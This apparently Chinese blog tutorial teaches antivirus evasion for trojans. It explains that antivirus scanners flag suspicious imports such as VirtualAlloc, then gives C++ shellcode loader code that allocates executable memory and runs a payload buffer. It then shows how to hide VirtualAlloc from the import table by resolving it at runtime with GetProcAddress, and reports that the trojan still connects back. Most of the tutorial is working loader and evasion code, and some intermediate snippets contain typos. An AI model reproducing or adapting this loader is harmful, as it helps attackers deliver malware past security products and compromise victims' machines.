前一段时间不是说要进行IAT表的隐藏吗,终于给我逮到时间来写了,今天就来先将最简单的一种方式 ----> 动态调用!!!
1.静态查杀
这里还是说一下我们为什么要对他进行隐藏呢??? 首先就是我们的杀软规则
::我的静态查杀很强
对于杀软,像上面说的赛门铁克,它的静态查杀就很强!! 而他们又是怎么静态查杀的呢???
IAT表 (还记不记得我以前说这个玩意在免杀里面很重要!!!)
我们自己随便拉一个简单的木马看看导入表,我们的导入表里面是能看见我们所用的WindowsAPI的,其中像这种 VirtualAlloc ,OpenProcess ,CreateThread 这种被查杀到就基本等死
这时候就有意思了,我们来看看Chrome这个exe的导入表
这么多危险函数,这不应该直接给他杀死??(我的马都没这么多危险函数)
::区别对待是吧。。。。。
但是你也不看看人家是什么exe,人家是微软的EXE啊!! 有数字签名的!!!
对于这种有数字签名的,它无论使用多么危险的函数,强如赛门铁克也是拿他没办法的!
那么我们又没办法拿到这个签名,我们应该怎么去免杀呢??
- 加壳 ,通过加壳我们可以实现导入一个假的IAT表
- 动态调用 ,其实就是在Ring3层对函数进行重写
2.动态调用
那么下面,我们就来讲一下我们的动态调用的用法。
我们先最简单的贴出来一段Loader
cpp
#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
char buf[] = "";
int main()
{
void * p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
((void(*)())p)();
return 0;
}
首先我们去看他的导入表,我们要去隐藏掉这个显眼包!!!
该怎么做呢,我们点进去这个函数
然后我们将这一段复制出来
cpp
LPVOID
WINAPI
VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
然后我们这样写
cpp
LPVOID 新的函数的名字(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
{
}
然后我们在中括号中先这样写
加了个括号,加了个TYEPDEF,并且将VirtualAlloc 改成了 *FN_VirtualAlloc
cpp
typedef LPVOID (WINAPI *FN_VirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
然后我们去获取函数的HMODULE(是不是感觉有点熟悉,我们之前也在写DLL注入里面用过)
并且接收它(这个类型是Fn_Virtualloc,不是我们的Hide_VirtualAlloc!!)
cpp
HMODULE VirtualAllocHandle = GetModuleHandleW(L"Kernel32.dll");
Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAlocHandle,"VirtuallAlloc");
然后照猫画虎的返回就是了
cpp
return ptr(lpAddress, dwSize, flAllocationType, flProtect);
然后我们就能在我们的函数中直接进行调用了!!!!!
cpp
#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
/* length: 891 bytes */
unsigned char buf[] = "";
LPVOID Hide_VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
{
typedef LPVOID(WINAPI* Fn_VirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
HMODULE VirtualAllocHandle = GetModuleHandleW(L"KERNEL32.dll");
if (VirtualAllocHandle == NULL)
{
VirtualAllocHandle = LoadLibraryW(L"KERNEL32.dll");
}
Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAllocHandle,"VirtualAlloc");
return ptr(lpAddress, dwSize, flAllocationType, flProtect);
}
int main()
{
void * p = Hide_VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
((void(*)())p)();
return 0;
}
这时候我们再上线,发现是能成功上线的!!!
然后我们再去查看它的导出表,此时的VirtuallAlloc已经是消失了的!
这样,我们就实现了动态调用!!!!